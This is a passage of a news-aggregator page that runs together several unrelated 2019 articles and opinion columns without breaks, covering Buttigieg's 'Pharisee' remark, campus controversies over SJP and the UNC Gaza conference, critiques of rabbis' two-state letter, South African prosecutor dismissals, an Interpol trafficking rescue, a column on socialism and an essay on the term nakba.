hypocrites. It talks about Pharisees." Pence, the former governor of Indiana, responded to Buttigieg's criticism in an interview Wednesday with CNBC. "He said some things that are critical of my Christian faith and about me personally. And he knows better. He knows me," the vice president said. Although almost no Jews describe themselves as Pharisees today, the word is still anti-Semitic because it refers to Jews, said Rabbi Danya Ruttenberg, an author who has criticized Buttigieg in the past for using the term. She compared it to a kid on a playground using the word "gay" as an insult. Even though the kid may not be referring to sexual orientation, Ruttenberg said, using the word in a negative light still perpetuates homophobia. "When you use that as an insult, you're saying that Jews are bad," she said. "It perpetrates anti-Semitism: Jew as bad guy, as Christ killer, is one of the ways people have justified murder and pogroms and the Inquisition and the Holocaust for centuries." Over the past two millennia, people have also described the Pharisees as money and power hungry, said Sara Ronis, an assistant professor of theology at St. Mary's University in San Antonio. Those traits were appended to the Pharisees over time, she said, in part because they are common anti-Semitic tropes. Ronis added that many modern depictions of Pharisees show them in striped shawls-what many Jews would recognize as the tallit, or Jewish prayer shawl. "So many textbooks trace Rabbinic Judaism to the Pharisees," she said. "Using that language as a negative slur today, when I think so many people have this stereotype ... the associations people have unconsciously between that and Jews certainly doesn't help with modern stereotypes around Jews and money and control and secret power." Chris Meagher, Buttigieg's national press secretary, said in a statement to the Jewish Telegraphic Agency that "Pharisee" is a common expression for hypocritical leaders. "The Mayor expressed his concern about the hypocrisy on the part of evangelical leaders," Meagher said in the statement. "He invoked this Biblical reference, since it is commonly used to show skepticism of hypocritical establishment leaders. That was the way he intended it." Buttigieg has criticized Pence in the context of his calls to build a religious left-wing movement to counter the religious right. He says that his religious values-of caring for the poor and helping the stranger-track with liberal policy. "I do think there are the stirrings out there in our count right now of a religious left that understands that living your faith might also have to do with paying more attention to those most in need and not celebrating those who already have the most wealth and the most power," he said on "The View." That's similar to what a lot of liberal rabbis have been saying for a while. A range of major Jewish organizations tend to take liberal positions on domestic issues, and the Reform movement, American Judaism's largest denomination, is vocally left wing on a broad spectrum of issues. Orthodox groups have tended more to the right, and earlier this year two major Orthodox groups spoke out against a New York law that liberalized abortion policy. But the major American Jewish denominations have found consensus on some issues, like Donald Trump's 2017 travel ban, which all opposed, and last year's family separation policy. Other prominent liberal Democrats, such as the presidential candidates Cory Booker and Elizabeth Warren, have talked about their Christian faith on the campaign trail. Rabbi Jill Jacobs, the executive director of T'ruah, a liberal rabbinic human rights group with 2,000 member rabbis, said Buttigieg need only look to the Jewish community for an example of a religious left. "There's no need to bring back the religious left because the religious left is out there and it's strong," she said. "It's crucial that those of us who are doing their human rights work out of a religious place are speaking about it in religious terms." Remembering is the essence of Passover: Each year on the holiday, we hold seders to retell the stirring story of the Jewish exodus from Egypt and passage from slavery to freedom. Not all of Orlando's Jewish seniors in living facilities are able to attend a family Seder, but many had the opportunity to recall the Passover story, sing its songs and experience the flavors of the festive meal at Jewish Pavilion seders and other Passover programs all over town this month. For Jewish Pavilion staff and volunteers, Passover programs are a wonderful way to forge deep connections with Jewish seniors as they recall family observances from past decades and share treasured traditions. Many of the buildings the Pavilion visits have only a few Jewish residents, but Jewish Pavilion Passover programs are also attended with great interest by residents and staff of other faiths. These programs provide an ideal forum for Pavilion staff and volunteers to promote relationships of mutual understanding between Jewish and non-Jewish residents. In addition, some of the Jewish seniors the Pavilion serves have family members who would not otherwise have the opportunity to celebrate Passover. These family members are welcomed at Jewish Pavilion Seders and are happy to be able to share the holiday with their loved ones. The Passover programs are only one of the many ways the Jewish Pavilion fulfills its mission to connect eldercare community residents and their families with a caring Jewish community that provides life-enhancing resources and experiences. The Pavilion welcomes donations to help offset program expenses; visit JewishPavilion.org/donate to make a secure online donation or call the office at 407-678-9363. (JNS)The local affiliates of Students for Justice in Palestine at Cornell and Binghamton universities in New York state have been promoting images created by a Palestinian terrorist organization on their respective social-media pages. Ahead of an expected BDS vote in late April, Cornell SJP hosted a recent teach-in titled From Ferguson to Palestine: A Conversation Surrounding Struggle, featuring an event flyer that appeared to depict a rifle and explicitly mentions the Popular Front for the Liberation of Palestine (PFLP), according to CAMERA. Additionally, the Cornell Collective for Justice in Palestine, which is part of SJPs pro-BDS coalition, has an online profile picture of a mural of Leila Khaled holding a rifle. Khaled a member of the PFLPand euphemistically referred to as the first female hijackerwas responsible for the 1970 Dawsons Field hijacking. Following the incidents at Cornell, the SJP affiliate at Binghamton University shared its own imagery from PFLP. The caption reads: Three Palestinian posters celebrating International Working Womens Day. The first two were produced by the Popular Front for the Liberation of Palestine. The PFLP is, for very good reason, a U.S.-designated Foreign Terrorist Organization. The groups long history of deliberate attacks on innocent Israeli civilians through airplane and bus hijackings, suicide-bombings and shooting attacks is entirely without moral justification, Zac Schildcrout, a campus coordinator with CAMERA, told JNS. This unabashed support for such a despicable organization, as many SJP chapters have done in the past, is deeply disturbing and is a direct attack on the campuss Jewish communities. It should be condemned by all who seek peace in the Middle East. Founded in 1967, the PFLP is a Marxist-Leninist far-left Palestinian organization that has carried out numerous terror attacks, including the hijacking Israeli and Western planes in the late 1960s and early 70s, the assassination of former Israeli Knesset member Rehavam Zeevi in 2001, and suicide-bombings during the Second Intifada. Several countries, including the United States, Japan, Canada, Australia and the European Union consider the PFLP a terrorist organization. The SJP affiliates at both schools have had a history of anti-Israel and anti-Semitic actions that have intimidated and threatened Jewish students. In 2014, after failing to pass a BDS resolution, SJP members were recorded saying F*** you, Zionist scums, and I will f***ing slap you. In 2017, in response to a Yom Haatzmaut celebration, SJP held a die-in in the same room. In a recent letter to the editor in the Cornell Sun, a Jewish student said that language used by SJP may devolve into the targeting of Jews and the Jewish community on this campus, and that Cornell SJP has likened Zionist ideology to white supremacy and Nazism. Cornells president, Martha Pollack, recently issued a letter rejecting SJPs call for a boycott of Israel. Similarly, at Binghamton, SJP was banned in 2014 after a document was leaked to the public titled Declaration of Principles and Strategies of Binghamton University Students for Justice in Palestine. According to Canary Mission, the document shut down any possibility of dialogue with pro-Israel students, entrenching a policy known as anti-normalization, while it also gave its members directives on how to disrupt pro-Israel activities with maximum impact while staying within the bounds of what is not widely considered to be legally reprehensible. At the same time, the endorsement by these SJP affiliates of the PFLP terror group comes as emerging evidence that the BDS movement has extensive ties to Palestinian terrorist organizations, using the social justice movement as a veritable human shield for anti-Israel ideology and activism. This unabashed support for such a despicable organization, as many SJP chapters have done in the past, is deeply disturbing, and is a direct attack on the campus Jewish communities. It should be condemned by all who seek peace in the Middle East. Last year, the Zachor Legal Institute submitted a letter to the Department of Justice urging the U.S. government to open an investigation into the ties between Palestinian terror groups and several U.S.-based BDS groups, including SJP. Tamer Nafar, a Palestinian-Israeli rapper, is being accused of anti-Semitism for a performance at the University of North Carolina last month that defenders said was meant ironically. (JTA)-"This is my anti-Semitic song," Tamer Nafar, a Palestinian-Israeli rapper, said at the opening of a conference on Gaza last month at the University of North Carolina at Chapel Hill. "I know it might sound [like] R&B stuff, but don't think of Rihanna when you sing it, don't think of Beyonce," he continued. "Think of Mel Gibson. Go that anti-Semitic. Let's try it together because I need your help. I cannot be anti-Semitic alone." Nafar then launched into "Mama, I fell in love with a Jew," a joking song about a Palestinian who becomes infatuated with an Israeli woman soldier while stuck in an elevator. (Sample lyric: "Was it meant to be? Could she be the one?/Her name is not Janie but she's got a gun.") Was the performance anti-Semitic? Was Nafar just kidding? Even if he was kidding, is it still anti-Semitic? Let's back up: In late March, the Middle East Studies departments at Duke University and UNC co-sponsored a conference called "Conflict over Gaza: People, Politics, and Possibilities." Much of the conference consisted of panels and speeches by academic and policy experts. But the opening night of the conference featured Nafar's performance. The musician, who identifies as Palestinian, is a citizen of Israel and a member of the Palestinian hip-hop group DAM, which has been active since 2000. One of its songs was the theme for "Arab Labor," a sitcom in Israel about Arab Israelis. This year, ahead of the Israeli elections held last week, he wrote a song encouraging Arab Israelis to vote. In the weeks following the conference, the UNC Hillel put out a statement criticizing what it called the overall anti-Israel bias of the conference, as well as calls by some speakers for a boycott of Israel, but not Nafar's song. It appears to have become an issue only after Ami Horowitz, a pro-Israel videographer, released video from the conference last week that included a clip of Nafar talking about anti-Semitism onstage but not the song's lyrics. In the days after, Hillel, UNC's chancellor and one of the departments sponsoring the conference have put out statements condemning the performance. UNC Global, a department that focuses on "supporting, promoting and facilitating UNC's global priorities," said it was "heartbroken and offended" by the song. "A performance during a recent conference held on our campus contained disturbing and hateful language," read a statement by Kevin Guskiewicz, UNC's interim chancellor, on April 12. "I am heartbroken and deeply offended that this performance happened. I stand steadfast against anti-Semitism and hate in all its forms." U.S. Rep. George Holding, R-N.C., is calling for the Department of Education to investigate the conference. According to the News & Observer, a local paper, the conference used $5,000 in federal funding. "Honest academic debate featuring diverse perspectives and a wide range of views is critical in a democratic society and a central tenet of American's educational system," Holding wrote in a letter to Secretary of Education Betsy DeVos. "However, it is irresponsible, immoral and unproductive for taxpayer dollars to fund overtly biased advocacy under the guise of academic discourse." The local Hillel is calling on the school to conduct a senior administrative review of the conference to determine if there were additional instances of anti-Semitism. Lara Friedman, the president of the Foundation for Middle East Peace, did not see the concert but spoke at the conference the next day and said it stayed within the bounds of appropriate discourse on the issue. Friedman self-identifies as a liberal Zionist. She said the conference included criticism of Israel, Hamas and the Palestinian Authority, as well as of U.S. policy on Gaza. "It was within the norms and bounds of reasonable discourse on this issue," she said. "There was nothing in the discourse here that isn't heard in any discussion on Israel-Palestine." But Ari Gauss, the UNC Hillel's executive director, said Nafar's performance crossed a red line. "Whether he's attempting be a comedic provocateur, I don't know, but I didn't find it funny," said Gauss, who was not at the performance but saw footage of it. "The idea of the university sponsoring a musician who would sing about anti-Semitism in an at-worst glorifying way and at best belittling and lighthearted way, they're not happy about it," he said. "You still have the option to bring speakers who don't play fast and loose with this language, and if you want to push the envelope, you have to cover your bases." The Jewish Telegraphic Agency reached out to Nafar for comment. After communicating with JTA over the course of a day, he did not respond with a statement by press time. But Elyse Crystall, a comparative literature associate professor at UNC who is the faculty adviser for the campus chapter of Students for Justice in Palestine, said she felt that Nafar was ironically poking fun at American notions that Palestinians and Arabs are anti-Semitic. "The way I heard that was, 'All of you here probably think that because I'm Palestinian, I'm anti-Semitic, and maybe you've been sitting here waiting for me to say something negative, so here's the song you've been waiting for,'" she said. "I don't think he was being anti-Semitic. I think he was satirizing our own stereotypes of Palestinians and maybe Arabs more generally as anti-Semitic." The video of Nafar's performance came during the same week that anti-Semitic fliers were found at a library on the UNC campus. The fliers warned of "an evil Jewish plot" and said "do everything you can to fight the silent covert Jewish attempt to enslave and kill good Americans," according to the UNC Hillel. No one has drawn a link between the conference and the fliers. It also appears that the conference has not sparked significant student protest. Kyra Rubin, a senior who is active in both student government and J Street U, the campus arm of the liberal Israel lobby, wrote to JTA in an email Tuesday, "To be quite honest, this is the first I have heard about this conference." Zionist Organization of America has called on the U.S. Department of Education to investigate whether federal funds were misused to organize a one-sided academic conference, hosted by the University of North Carolina and co-sponsored by Duke University, which was hostile to Israel and blatantly anti-Semitic. ZOA National President Morton A. Klein and Susan B. Tuchman, Esq., director of ZOAs Center for Law and Justice, sent a letter to Mr. Kenneth L. Marcus, Assistant Secretary for Civil Rights at the U.S. Department of Education, highlighting the reported use of $5,000 for the conference from a four-year grant by the U.S. Department of Education to UNC and Dukes Consortium for Middle East Studies. Despite concerns of anti-Israel bias being raised before the event took place, on March 22-24, 2019, UNC hosted the conference called Conflict over Gaza: People, Politics and Possibilities. In a blog post, North Carolina Hillel wrote that the conference featured speakers who demonized Israel and failed to provide balanced perspectives. Organizers missed the opportunity to convene a rich, educational forum that the UNC and Duke communities deserve. In addition to its anti-Israel bias, the UNC-Duke conference included an offensive and horrifying anti-Semitic performance by a rapper named Tamer Nafar, which came to light when a filmmaker named Ami Horowitz posted a video of the performance. This video also exposed other anti-Semitic interactions Horowitz experienced at the conference. The universities initial response to Horowitzs video was shamefully inadequate, failing to acknowledge and condemn the anti-Semitism and bias at the conference. Neither UNC nor Duke condemned the anti-Semitic performer by name and they did not condemn the conference organizers for inviting and allowing this shameful conduct. It cannot be a coincidence that just days after the conference, swastikas were found drawn on UNC campus, in addition to anti-Semitic posters that were found in UNCs Davis Library. UNC and Duke should face consequences for legitimizing and normalizing a hateful, anti-Israel and anti-Semitic conference, and using taxpayer funds to do it. The Department of Education should investigate this incident and deny both universities future federal funding until they demonstrate that their Middle East programs and events are truly educational and not just a mask for hateful, anti-Semitic and anti-Israel propaganda. (JNS)Dear (Former?) Friends, To: The ADL, Ameinu, ARZA, Central Conference of American Rabbis, Israel Policy Forum, MERCAZ USA, National Council of Jewish Women, Rabbinical Assembly, Union for Reform Judaism and United Synagogue of Conservative Judaism Your letter to U.S. President Donald Trump expressing your belief that peace must be based on the principle of a negotiated two-state solution, that it is the only formulation to resolve the Israeli-Palestinian conflict that will ensure Israels future as Jewish, democratic and secure, and that he affirm long-standing bipartisan consensus that the two-state solution is the essential path to an Israel existing alongside a future state of Palestine in peace and security and that you declare that the United States will not support any Israeli proposals to annex the West Bank, in whole or in part is really presumptuous, arrant vanity and, more to the point, besides interfering in an internal Israeli debate, a strategic attempt to undercut Israels existence, security of its citizens and the essence of Zionism. I could see if you had written that you, as leaders of these organizations, with all your membership, had added something like and since we all intend to live there some day, we want this policy for our own good. That, at least would be an expression of genuine concern for yourselves. But to continue to sit there and subvert Israels independence, its democratically elected government, promote your own Diasporic supremacy and endanger Israelnot to speak about repeating a solution mantra that is wrongis really a classic chutzpah. Its one thing to get involved in issues of culture and religion, and to demand egalitarianism at the Western Wall Plaza although, for some reason, Jewish egalitarianism at the Temple Mount is quite anathema to you. I guess you get to cherry-pick. But do you not realize that your appeal could be perceived as an attempt to override Israeli democracy, as if to overthrow the elected government? Are you seeking to devalue Israels sovereignty? Do you wish Israel to simply become a vassal state of America? Back in 1982, former Prime Minister Menachem Begin lectured the United States, informing then President Ronald Regan through his Ambassador Sam Lewis that Israel is no banana republic. Israel stays out of internal American Jewish affairs as regards policy issues. Israel does not tell Jews to support this or that party. It does not tell you to support civil rights, homosexual issues, health concerns, matters of the environment or to oppose any of them. It does engage on internal Jewish activities, such as Soviet Jewry in the past. But that is an issue of community. Your actions simply position you as anti-democratic. Oh, and it distances you from the White House. The essence of your actions is not all the above. You have chosen to prefer a political persuasion over a religious belief system. Whereas Eretz Yisrael is equal to all other mitzvot, you presume that a secular, liberal, humanist-based outlooknow improved with radical progressivism and hardened with an anti-Trump viewoverrides all that. You have distilled Judaism, altered it, framed it as a reflection of your own politics, rather than having your politics influenced by Judaism. You have been unable to pass down to a second-generation traditional Jewish values that stride both religion and common morality and ethics. You have decided to play up to a contemporary liberalism, which has little to do with what our grandparents and parents engaged in. You have become ensnared in foreign gods and allowed your children to stray. You have become extreme. Fanatic. Irrational. Your Judaism is becoming fake, I feel, when I read this: Passovers real message is about celebrating interfaith families. Really? The Jews that locked themselves up in their houses in Egypt so as to avoid being together with the Egyptians now want their Passover holiday to promote intermarriage? Thats ridiculous. As long as you kept religious (mis)interpretations to yourselves, that was one thing. Even demanding room at the Kotel, while rejecting all traditional customs, was within the ring. But in demanding a two-state solution, which means no Israeli rule over Jerusalem (that the Arabs would agree to), is being, well, stupid. How will you be able to pray there? To now bring that warped thinking into play to injure and harm Israel and its diplomatic and political relationships, you are entering dangerous tides. I have no power but that of my pen. Nevertheless, please treat this both as a remonstration, a call for teshuvah and a warning. Let us hope that this shared Israel-American Jewish community friendship is not fading... Yisrael Medad is an American-born Israeli journalist and commentator. (JNS)The Conservative and Reform rabbinical leadership, along with affiliated lay groups and tepid pro-Israel groups, have revealed their elitist contempt for democracy and disdain for Zionism by appealing to U.S. President Donald Trump to force Israeli Prime Minister Benjamin Netanyahu to break his electoral pledges. They did this in a letter sent to a Jewish publication on Friday, Apr. 12, in which they called on Trump to stop Netanyahu from extending sovereignty over Jewish communities in Judea and Samaria. Why not ask Trump for what they really want: to overthrow the Israeli government and install a secular leftist government. Because that is what they want: they dont care about democracy or the rule of law if Israelis dare to not want what they think Israelis should want. The rabbis, ironically enough, are trying to declare U.S. sovereignty over Israel. They are acting as if Israel is a vassal state of the U.S. These American rabbis and those allied with their thinking refuse to pay any attention to what the Israelis have found out while waiting patiently for decades while the Palestinian Arabs keep repaying their every peace effort with ever-increasing terrorism: the Arab leadership will not agree to live side by side in peace and security with the Jewish state. Most Israelis are no longer prepared to live in limbo. They have already rejected what these American rabbis demand they accept. On Apr. 9, the Israeli electorate gave a loud, resounding no to parties whose vision for Israel these Americans endorse, giving them the lowest election support ever. Not surprisingly, these American interlopers are not listening to what Israelis want at all. Perhaps what is most galling is that the rabbis outrageous Apr. 12 letter oversteps their authority to speak for even American Jews within their respective denominations. They are not interpreting Jewish law, their alleged area of expertise, but are acting as Democratic Party partisans, with the Democratic Partys allegiance to the shibboleth that two states for two peoples will bring peace. After Netanyahu pledged to extend Israeli sovereignty to all Israelis living in the disputed areas that are the heartland of biblical Israel, the Israeli public applauded. Israelis gave Netanyahu the highest proportion of the vote he has ever received in any election. Whats downright laughable is that these unelected American rabbis are now willing to prostrate themselves before Trump, whom they daily defame, calling on him to impose their preferences on an electorate which has rejected it as an existential threat. These arrogant, insulated rabbis have not learned from thousands of rockets fired from Gaza or the tens of thousands of missiles on the Lebanon border or the decades of stabbing, shooting, ramming attacks on Jews in Judea and Samaria. But Israelis have. These letter-writing hypocrites hide behind protestations of love for Israel and then condition that love on things being done their way. They threaten that the American Jewish community will not support Israel if it does not do what they want. How dare they! We witness with sorrow the power of Rep. Ilhan Omar (D-Minnesota) and her cohort in the cowering of the four Jewish Democratic representatives who cravenly echoed the rabbis calumny. Not one had the courage to demand that Rep. Omar be removed from the House Foreign Affairs Committee, despite her outrages against American Jews and against Israel. Now they dare to tell Netanyahu to ignore the will of his people and kowtow to them, as they kowtow to their freshman colleague. Reps. Engel, Lowey, Deutch and Schneiderhave you no shame? Perhaps they allthe representatives, the rabbis and their cheerleadersfear that they may soon be turned away by what the Democratic Party is becoming. Appeasement, however, is unlikely to win them a delay of excommunication. And since the real religion of their declining congregations is whatever this years Democratic Party platform is, they now attempt to foist this outrageous letter off as a Jewish position. Let us be clear: these rabbis have no authority to speak for American Jews in the political arena. They have disgraced themselves by doing so. We gratefully recognized President Trumps commitment to the Jewish state and the indivisible linkage between a secure Israel and a secure United States during the 2015-2016 campaign and he has honored that commitment so far during his presidency. We are hopeful he wont now be swayed by these leftist Democrats in clerical clothing. Carol Greenwald and Dori Parker are chairmen of JewsChooseTrump.org. South Africa: Jiba, Mrwebi removed from office President Cyril Ramaphosa has sacked Advocates Nomgcobo Jiba and Lawrence Mrwebi from the National Prosecuting Authority (NPA), it was announced by the Presidency on Friday. The President took this action after studying the findings and recommendations of the Mokgoro Enquiry and affording Deputy National Director of Public Prosecutions Jiba and Special Director of Public Prosecutions Mrwebi an opportunity to respond to the outcomes. At a meeting in Pretoria on 10 April 2019, Judge Yvonne Mokgoro briefed President Ramaphosa on the outcomes of the enquiry, having submitted the report to the President at an earlier date. The Mokgoro Enquiry into the fitness of the two officials to hold office found that the duo were neither fit nor proper to hold their respective offices. The commission found them to be dishonest, lacking in integrity and could no longer be entrusted with the duties that came with their offices. President Ramaphosa established the Mokgoro Enquiry in October 2018 and placed Advocates Jiba and Mrwebi on suspension with full pay pending finalisation of the enquiry. President Ramaphosa on Friday reiterated his appreciation to Judge Mokgoro, Kgomotso Moroka SC and Attorney Thenjiwe Vilakazi for conducting the inquiries into the two senior NPA officials with the assistance of evidence leader Nazreen Bawa SC and her team. The Mokgoro Enquiry concludes its report with the observation, among others, that NPA officials are required to be completely devoted to the rule of law without fail, as the country depends on it. As the sole entity constitutionally mandated to prosecute on behalf of the State, in the face of the scourge of crime, the confidence that the public enjoys in the NPA is what prevents individuals from taking the law into their own hands. This confidence underpins the social contract. It lies in the belief that the State can offer protection where laws are not respected. In compliance with Section 12(6) of the NPA Act, President Ramaphosas decision will be referred to Parliament within the next two weeks. Parliament then has 30 days to consider the Presidents decision and decide whether to uphold the decision or to reject it and restore Jiba and Mrwebi to their positions. The two have been informed of President Ramaphosas decision. The full report can be read at http://www.thepresidency.gov.za/sites/default/files/Section%2012%286%29%20Enquiry%20report%20-%20abridged%20version.pdf. - SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. (CNN) More than 150 children some as young as 11 were among 220 people rescued from sex and labor trafficking rings in West Africa, Interpol said. Most of the victims were beaten, subjected to abuses and told they would never see their families again by their traffickers, said Interpol. They came from West African countries including the Republic of Benin, Burkina Faso, Niger, Nigeria, and Togo. Local police working with Interpol rescued some of the victims from places where they were forced to become sex workers, and the majority were working as servants in markets in both countries. One of the children was found wheeling bags of rice weighing up to 40 kilograms between the borders of the Republic of Benin and Nigeria, a spokesman for the agency said. "Many of the children are shipped actually into these markets to carry out forced labor. These are organized crime groups who are motivated by making money.... They don't care about the children forced into prostitution, working in terrible conditions, living on the streets, they are all after the money," Interpol's Director of Organised and Emerging Crime Paul Stanfield said in a video posted on the agency's website. Forty-seven people were arrested following the raid, the agency said. The months-long operation begun in 2018 and involved local law enforcement officers and anti-trafficking agencies in Republic of Benin and Nigeria countries identified as hotspots for child labor trafficking, Stanfield said. Trafficking is a significant challenge facing many African countries, where thousands of people, mainly children, are sold into prostitution rings and labor camps by human smuggling networks. More than 20,000 Nigerian girls were forced to into prostitution rings in mining camps and hotels in Mali by traffickers who promised them employment in hotels in Malaysia, according to the country's National Agency for the Prohibition of Trafficking in Persons in January ( NAPTIP). Victims rescued in this operation were handed to local officials in the Republic of Benin and Nigeria. Some were reunited with their parents, and others have transferred to shelters in both countries, the international police agency said. "Nobody belongs in the markets or on the streets as slave laborers," said Hounde Seidou from Benin's anti-trafficking agency said, adding that law enforcement officers must apprehend offenders especially in cases involving children. Eighty-five children were rescued in Sudan in another Interpol raid in September last year from gold mines in Khartoum, where they were forced to work with dangerous chemicals. This story was first published on CNN.com, "Interpol: 157 children rescued from West Africa trafficking ring." One of the men was described as Hispanic, 30 to 35 years old, about 5-foot-8 to 5-foot-9, with small brown eyes, a thick beard and mustache, and wearing all black clothing. The other man was described only as white and wearing black clothing too. (JNS)Socialism is cool again, thanks not least to septuagenarian Sen. Bernie Sanders and millennial Rep. Alexandria Ocasio-Cortez (aka AOC). Socialism has been cool before, of course, notably during the Great Depression, and what became known as the 60s, the era of Vietnam, the civil rights movement, hippies and the (old) New Left. As a reporter for my high school newspaper in the later period, I interviewed Earl Browder, who had been general secretary of the Communist Party USA during the 1930s. He coined the slogan: Communism is 20th century Americanism. I read a fair amount about socialism back then and, on my application to a reasonably prestigious college, I named Norman Thomas, six-time presidential candidate of the Socialist Party of America, as someone I admired. Had I chosen William F. Buckley instead, I suspect Id have wound up at a lesser institution. The summer preceding my freshman yearexactly 50 years ago, Im afraidI went to the Soviet Union on a study program. Like Sanders, I was impressed by Moscows subways (he called them absolutely beautiful, including many works of art, chandeliers that were beautiful) and by the palaces of culture and the theaters where, he enthused, the highest price of a ticket that you could get was the equivalent of $1.50! I decided to major in Russian and, a couple of years later, won a place on the only undergraduate exchange program between the U.S. and the USSR. I soon comprehended what Sanders never has: Communism is toxic to freedom and prosperity. Yes, theater tickets were cheap but, like other luxuries and even many necessities, such goods were obtainable only po blatuthrough political power, wielded exclusively by the nomenklatura, the communist elite. Soviet communism, also called scientific socialism, was a failure, as were the various forms of utopian socialism that preceded it. Perhaps youre thinking that there are other socialist models. I thought so, too. Then, in the early 1980s, I moved to Africa as a correspondent for The New York Times. Advised by Western academics and development experts at the U.N., virtually every African government in the postcolonial era chose the socialist path to development. The problem with that, as the Ghanaian-born scholar George Ayittey noted in a presentation at the Heritage Foundation last week, is that nowhere in Africa was the socialist experiment successful. In Latin America, too, socialism has led to dismal outcomes. Venezuela is the only the most egregious example. In a speech last month, Kim Jong Un said it was North Koreas historic task to accomplish the cause of socialism. If so, his regime has a way to go. Chinas socialist market economy creates wealth, though without liberty and basic human rights. The states repression of dissidents and minoritiese.g., Uighurs, Tibetans, Falun Gong and Christiansis severe. But at least theres income equality, right? No, according to the International Monetary Fund, China is one of the worlds most unequal countries. What about Scandinavia? Four years ago, responding to Sanders claims, Danish Prime Minister Lars Lkke Rasmussen told students at Harvards Kennedy School: Denmark is far from a socialist planned economy. Denmark is a market economy. The Nordic model is an expanded welfare state which provides a high level of security for its citizens, but it is also a successful market economy with much freedom to pursue your dreams and live your life as you wish. Back to me: Disenchanted with both communism and socialism, I began reading up on capitalism. I came to understand that, unlike socialism, capitalism wasnt invented. It arose spontaneously. Initially, a capitalist was someone in possession of funds or propertynot someone who believed in a specific system of economic organization. Adam Smith, often called the father of capitalism, never used that term. An Inquiry into the Nature and Causes of the Wealth of Nations, published in 1776, was more descriptive than prescriptive. He observed the positive results produced by free markets, incentives, enlightened self-interest and voluntary divisions of labor. A century later, Karl Marx wrote about the bourgeoisie whom, he predicted, would inevitably be overthrown by the global proletariat, the workers of the world united. Though intended as a pejorative, capitalism came to be embraced by proponents of entrepreneurship and opponents of collectivized and command economies. Despite the starkly contrasting track records of capitalism and socialism, the next Democratic candidate for president could be a self-declared socialist. Teen Vogue, formerly an adolescent fashion magazine, now apparently an ideological journal of the left, tells its readers: To conservatives dismay, the modern idea of socialism... has become increasingly popular among young people in the past several years, following Democraatic Socialist Bernie Sanders underdog run for president and the authoritarian creep of the ultra-capitalist, anti-socialist Trump regime. You may be unsurprised to learn that Teen Vogue has been careless in its research. According to Gallup, about 51 percent of young people view socialism positively, the same as in 2010. What has changed are their views of capitalism, which have undergone a marked shift since 2010, when 68 percent viewed it positively. Only 45 percent do so today. Most responsible for that, I suspect, are Americas universities which, since the 60s, have been increasingly occupied and ruled by socialists of various stripes. Sanders and AOC may be among the beneficiaries. If so, the rest of us, those who have managed to learn a thing or two over the years, will be the losers. Clifford D. May is president of the Foundation for Defense of Democracies and a columnist for The Washington Times. Via Israel Hayom. The term nakba, originally coined to describe the magnitude of the self-inflicted Palestinian and Arab defeat in the 1948 war, has become in recent decades a synonym for Palestinian victimhood, with failed aggressors transformed into hapless victims and vice versa. Israel should do its utmost to uproot this false narrative by exposing its patently false historical basis. Nowadays, the failed Palestinian Arab attempt to destroy the State of Israel at birth, and the attendant flight of some 600,000 Palestinian Arabs, has come to be known internationally as the nakba, the catastrophe, with its accompanying implication of hapless victimhood. This, ironically, is the opposite of the original meaning of the term, which was first applied to the Arab-Israeli conflict by the Syrian historian Constantin Zureiq. In his 1948 pamphlet The Meaning of the Disaster, Zureiq attributed the Palestinian-Arab flight to the stillborn pan-Arab assault on the nascent Jewish state rather than to a premeditated Zionist design to disinherit the Palestinian Arabs: Zureiq subscribed to this critical view for decades. In a later book, The Meaning of the Catastrophe Anew, published after the June 1967 war, he defined that latest defeat as anakba rather than a naksa (or setback), as it came to be known in Arab discourse, since, just as in 1948, it was a self-inflicted disaster emanating from the Arab worlds failure to confront Zionism. At that time, the term nakba was glaringly absent from Arab and/or Palestinian discourse. Its first mentionin George Antoniuss influential 1938 book The Arab Awakeninghad nothing to do with the (as yet nonexistent) Arab-Israeli conflict, but rather with the post-World War I creation of the modern Middle East. Similarly, in his 1956 book Facts on the Question of Palestine, Hajj Amin Husseini, the leader of the Palestinian Arabs from the early 1920s to 1948, used the term al-Karitha to describe the Palestinian Arab collapse and dispersal. According to Palestinian academic Anaheed Al-Hardan of the American University of Beirut, this reflected Husseinis desire to avoid the term nakba, which was widely associated at the time with a self-inflicted Palestinian Arab disastereither through land sales to Zionists, failure to put up a fight, or the issuing of instructions to the people to leave. Nor did the term resurface for decades following the 1948 warnot even in the PLOs hallowed founding document, the Palestinian Covenant. It was only in the late 1980s that it began to be widely perceived as an Israeli-inflicted injustice. Ironically, it was a group of politically engaged, self-styled Israeli new historians who provided the Palestinian national movement with perhaps its best propaganda tool by turning the saga of Israels birth upside down, with aggressors turned into hapless victims and vice versa, on the basis of massive misrepresentation of archival evidence. While earlier generations of Palestinian academics and intellectuals had refrained from exploring the origins of the 1948 defeat, PLO chairman Yasser Arafat, who was brought to Gaza and the West Bank as part of the 1993 Oslo Accords and allowed to establish his Palestinian Authority in parts of those territories, grasped the immense potential of reincarnating the nakba as a symbol of Palestinian victimhood rather than a self-inflicted disaster. In 1998, he proclaimed May 15 a national day of remembrance. In subsequent years, Nakba Day has become an integral component of the Palestinian national narrative and the foremost event commemorating their 1948 catastrophe. Israeli sensitivity vis-a-vis the term nakba grew after it was reported that on May 15, 2007, U.N. Secretary-General Ban Ki-moon telephoned P.A. leader Mahmoud Abbas to express empathy with the Palestinian people in honor of Nakba Day. The deputy head of Israels U.N. mission complained that the word nakba was a tool of Arab propaganda used to undermine the legitimacy of the establishment of the State of Israel and should not be part of the U.N.s lexicon. While Israeli diplomats were busy dissuading their counterparts from falling for the P.A.s false narrative, in July 2007 the Knesset debated a decision by then Education Minister Yuli Tamir to include the nakba as a topic on the annual syllabus for the Arab minority in Israel. The legitimization of the now common use of the term nakba in the Israeli official and public discourse, whether positively or negatively oriented, provides a service to the Palestinian cause. If considered to reflect an integral segment of Israeli history, the term contradicts Israels longstanding, rightful position rejecting responsibility for the creation of the refugee problem. In the process, it legitimizes the false Palestinian victimhood narrative that defines the nakba as the greatest sin of the 20th century. The nakba is not a fact. It is a manipulative and catchy term designed to service the Palestinian propaganda campaign against Israel. Israel should refrain from legitimizing the term, as it imposes a false sense of guilt or culpability for the creation of the refugee problem onto the state. Nor should the word be used to refer to the mass deportation of Jews from the Arab states, as doing so creates an impression of equivalent injustice. The flight of the Palestinian Arabs was the direct result of a failed war of extermination and momentous massacre (in the words of the Arab Leagues secretary-general). The Arab states expulsion of their Jewish populations was an unequivocal act of ethnic cleansing. Israel would be well-advised to hearken again to the momentous speech of Abba Eban, then Israeli ambassador to the United Nations, on Nov. 17, 1958. He addressed the refugee issue without using the term nakba: The Arab refugee problem was caused by a war of aggression, launched by the Arab states against Israel in 1947 and 